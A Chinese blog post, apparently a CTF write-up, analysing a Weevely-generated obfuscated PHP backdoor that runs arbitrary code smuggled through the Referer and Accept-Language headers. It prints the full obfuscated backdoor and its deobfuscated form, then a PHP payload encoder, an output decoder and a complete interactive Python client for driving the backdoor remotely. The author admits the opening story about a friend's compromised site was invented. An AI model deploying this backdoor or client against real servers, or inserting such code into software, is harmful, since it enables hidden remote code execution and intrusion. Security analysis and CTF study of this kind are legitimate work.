Weevely:一个 PHP 混淆后门的代码分析

洒家的朋友的公司的某个站发现最近被上传了一个后门程序。为了取证我们抓取了 HTTP 请求流量,看到了一堆莫名其妙看似经过混淆的请求,响应也是看似 base64 的乱码。洒家用了 2 个小时静态分析了一遍,并写了利用脚本。后门程序看似是乱码,实际上经过了混淆,通过 eval() 可以执行任意 PHP 命令。由于混淆得很乱,做起来实在把洒家恶心了一番。

后门代码:

<?php
/**
 * Signature For Report
 */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/*
 */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/*
 */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/*
 */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/*
 */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/*
 */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/*
 */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/*
 */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/*
 */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/*
 */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/*
 */$y=str_replace('b','','crbebbabte_funcbbtion');/*
 */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/*
 */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/*
 */$v=$y('',$L);$v();/*
 */

经过分析,最外层混淆进行的操作是:按顺序拼接字符串,删除其中的 )m,通过 create_function() 创建一个匿名函数 $v 并执行代码。

将代码导出并美化如下:

<?php
$kh="4f7f";
$kf="28d7";

function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
    $u=parse_url($rr); 
    parse_str($u["query"],$q); 
    $q=array_values($q);        

    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m){
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];  
        $h=$sl($ss(md5($i.$kh),0,3)); 
        $f=$sl($ss(md5($i.$kf),0,3)); 
        $p="";
        for($z=1;$z<count($m[1]);$z++)  
            $p.=$q[$m[2][$z]];         
        if(strpos($p,$h)===0){        
            $s[$i]="";        
            $p=$ss($p,3);    
        }
        if(array_key_exists($i,$s)){         
            $s[$i].=$p;
            $e=strpos($s[$i],$f); 
            if($e){    
                $k=$kh.$kf; 
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
                $o=ob_get_contents();
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

好吧,还有第二层混淆。洒家大概看了一下,x($t,$k) 函数是个循环异或函数,结合 base64 函数、gzcompress() 等函数看可能有 HTTP 请求和响应过程中的编码和加密。Payload 是从仅有的输入 $_SERVER["HTTP_ACCEPT_LANGUAGE"]$_SERVER["HTTP_REFERER"] 中来。

洒家分析了一番,稍加修改,得到:

<?php
$kh="4f7f";
$kf="28d7";

// 循环异或加密解密,密钥 $k
function x($t,$k){
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra){
    // 将 referer 的 query string 的 各个 value 取出到 $q
    $u=parse_url($rr); // parse referer, return array, keys: scheme,host,port,user,pass,path,query,fragment
    parse_str($u["query"],$q); // parse query string into $q (array).
    $q=array_values($q);        // array values 

    // 分析 Accept-Language,提取 每种语言的首字母和权重数字。
    // Searches $ra for all matches to the regular expression given and puts them in $m
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
    if($q&&$m){
        @session_start();
        $s=&$_SESSION;
        $ss="substr";
        $sl="strtolower";
        $i=$m[1][0].$m[1][1];              // 两组首字母
        $h=$sl($ss(md5($i.$kh),0,3)); // md5($i . $kh) 的前三个字符小写。攻击时附在 $p 开头
        $f=$sl($ss(md5($i.$kf),0,3)); // $p 是编码后 Payload,攻击时附加到 $p 后面

        // 拼接 Payload
        $p="";
        for($z=1;$z<count($m[1]);$z++)  // 从 $q 中取出 $m 正则匹配到的第 2 组中索引 1 -- count($m[1])-1 的值 (0-9) 作为键的值连接,得到 $p
            $p.=$q[$m[2][$z]];         // 上例(language), $p .= $q[8]


        // 去除 $p Payload 开头的 $h
        if(strpos($p,$h)===0){        // $h 在 $p[0] 位置出现。
            $s[$i]="";        // $_SESSION[$i] = '', $i 是正则匹配到的两组首字母
            $p=$ss($p,3);    // $p 从第 3 个字符开始的子串,去掉 $h
        }
        if(array_key_exists($i,$s)){         // exist $s[$i], $_SESSION[$i] , if 条件必须有 上文 $h 在 $p[0] 位置出现
            $s[$i].=$p;
            $e=strpos($s[$i],$f);   // $f 是 md5 前三个字符小写,在 $s[$i]
            if($e){    // 必须有 $f 作为“停止字符串”
                $k=$kh.$kf; // 4f7f28d7
                ob_start();
                /*
                去除末尾的 $f
                URL safe base64 还原为普通 base64
                base64 解码
                循环异或解密
                zlib 解码,还原出 PHP 代码
                执行 PHP 代码
                */
                //@eval(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
                echo "CMD WILL EXEC:\n<br />";
                echo(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k)));
                $o=ob_get_contents();  // output
                ob_end_clean();
                $d=base64_encode(x(gzcompress($o),$k));  // 编码
                print $o;
                //print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}

其中的正则表达式匹配示例:

$ra = 'zh-CN,zh;q=0.8,en;q=0.6';
$m = array (size=3)
      0 => 
        array (size=3)
          0 => string 'zh-CN,' (length=6)
          1 => string 'zh;q=0.8,' (length=9)
          2 => string 'en;q=0.6' (length=8)
      1 => 
        array (size=3)
          0 => string 'z' (length=1)
          1 => string 'z' (length=1)
          2 => string 'e' (length=1)
      2 => 
        array (size=3)
          0 => string '' (length=0)
          1 => string '8' (length=1)
          2 => string '6' (length=1)

由此,理清这复杂的逻辑后可以写出以下 PHP 版 Payload 生成代码(针对 zh-CN,zh;q=0.8,en;q=0.6 这一种 Accept-Language):

<?php
$kh="4f7f";
$kf="28d7";

$referer = 'http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=payloadhere';
$lang = 'zh-CN,zh;q=0.8,en;q=0.6';
$m = array (
  0 =>   array (
    0 => 'zh-CN,',
    1 => 'zh;q=0.8,',
    2 => 'en;q=0.6',  ),
  1 =>   array (
    0 => 'z',
    1 => 'z',
    2 => 'e',  ),
  2 =>   array (
    0 => '',
    1 => '8',
    2 => '6',  ),   );
$i = 'zz'; // $m[1][0] . $m[1][1]
$h=strtolower(substr(md5($i.$kh),0,3)); // 675
$f=strtolower(substr(md5($i.$kf),0,3)); // a3e

function x($t,$k){        // $k : xor key, $t: plain. loop xor encrypt $t.
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$key = '4f7f28d7';
//$payload='phpinfo();';
$payload = $_GET['cmd'];
$payload = gzcompress($payload);
$payload = x($payload,$key);
$payload = base64_encode($payload);
$payload = preg_replace(array("/\//","/\+/"),array("_","-"), $payload);
$payload = $h . $payload . $f;
echo $payload;
echo "\n<br />\n";
$referer = "http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=$payload";
echo $referer;
echo "\n<br />\n";

对于 eval() 后的输出,有以下代码解密:

<?php
$kh="4f7f";
$kf="28d7";

// 循环异或,相同密钥 $k 既能加密也能解密
function x($t,$k){        // $k : xor key, $t: plain. loop xor encrypt $t.
    $c=strlen($k);
    $l=strlen($t);
    $o="";
    for($i=0;$i<$l;){
        for($j=0;($j<$c&&$i<$l);$j++,$i++){
            $o.=$t{$i}^$k{$j};
        }
    }
    return $o;
}
$k=$kh.$kf; // 4f7f28d7

$output = 'TPocr/oUMjeWhOOCkOx2soCqqzIyf1IwLw==';
$o = base64_decode($output);
$o = x($o,$k);
echo gzuncompress($o);

洒家根据这个后门的原理写了个交互式的利用程序(Python2):

My Weevely shell

每次执行代码生成一次 Accept-Language。对于 Referer 的 query string,没有用到的部分用随机代码填充,编码后的 Payload 切成 3 部分,头部 md5 和主体连接起来从中切 2 份,尾部 md5 + 随机字符串作为第 3 份。

代码如下:

#!/usr/bin/env python2
# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0,length-1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0,255))
    return  result

def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result

def loopXor(text,key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt<lenTxt and iKey<lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print msg

# config
debugging = False
keyh = "4f7f" # $kh
keyf = "28d7" # $kf
xorKey = keyh + keyf
url = 'http://example.com/backdoor.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in xrange(max(indexes)+1+randint(0,2)):
        key = randAlpha(randint(3,6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload,xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2,len(payload)-3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0],payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = raw_input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')
    output = loopXor(output,xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input('phpshell > ')

请求示例:

My Weevely shell request

对应的响应:

My Weevely shell response

附:Accept-Language 请求头解释

示例:

Accept-Language: zh-cn,zh;q=0.5

Accept-Language 表示浏览器所支持的语言类型。上面的例子表示浏览器支持的语言分别是中文和简体中文,优先支持简体中文。zh-cn 表示简体中文;zh 表示中文;q 是权重系数,范围 0 <= q <= 1q 值越大,请求越倾向于获得其 ; 之前的类型表示的内容,若没有指定 q 值,则默认为 1,若被赋值为 0,则用于提醒服务器哪些是浏览器不接受的内容类型。

后记

实际上,这个后门是洒家在上海交通大学参加 2016 年第九届全国大学生信息安全竞赛创新实践能力大赛决赛(UCTF 2016 Finals)时遇到的。本文第一段话纯属胡扯,是当时为了隐藏自己的身份误导别人随便编的。这是一场 AWD CTF,也是洒家第一次参加 AWD CTF。根据洒家的存档,比赛唯一一道 Web 题(题目名称为 web)有一个 /var/www/vendor/composer/autoload_real.php 文件,这个后门就藏在这个文件中。当时还不知道这是 Weevely 生成的,代码是混淆的也不好搜,比赛结束就正面硬刚分析了一波。

后来 Venenof 大佬在评论区指出后洒家才知道这个后门。他那天偶然看到这篇博客,发现这个后门的代码和国赛的一模一样,感到非常搞笑,还发了朋友圈。洒家给他透露这其实是我的博客,两人都笑疯了。他以为我已经工作了,看来这一波身份掩盖非常成功。

写于 2020 年 12 月迁移老博客时。


Comments

您可以匿名发表评论,无需登录 Disqus 账号,勾选“我更想匿名评论”后,姓名和电子邮件分别填写“匿名”和“someone@example.com”然后发表评论即可。您也可以登录 Disqus 账号后发表评论。您的评论可能需要经过我审核后才能显示。点赞投票按钮(Reactions)无需登录即可点击。Disqus 评论系统在中国大陆可能无法正常加载和使用。

License

Creative Commons License

本作品采用知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议CC BY-NC-ND 4.0)进行许可。

This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).

Top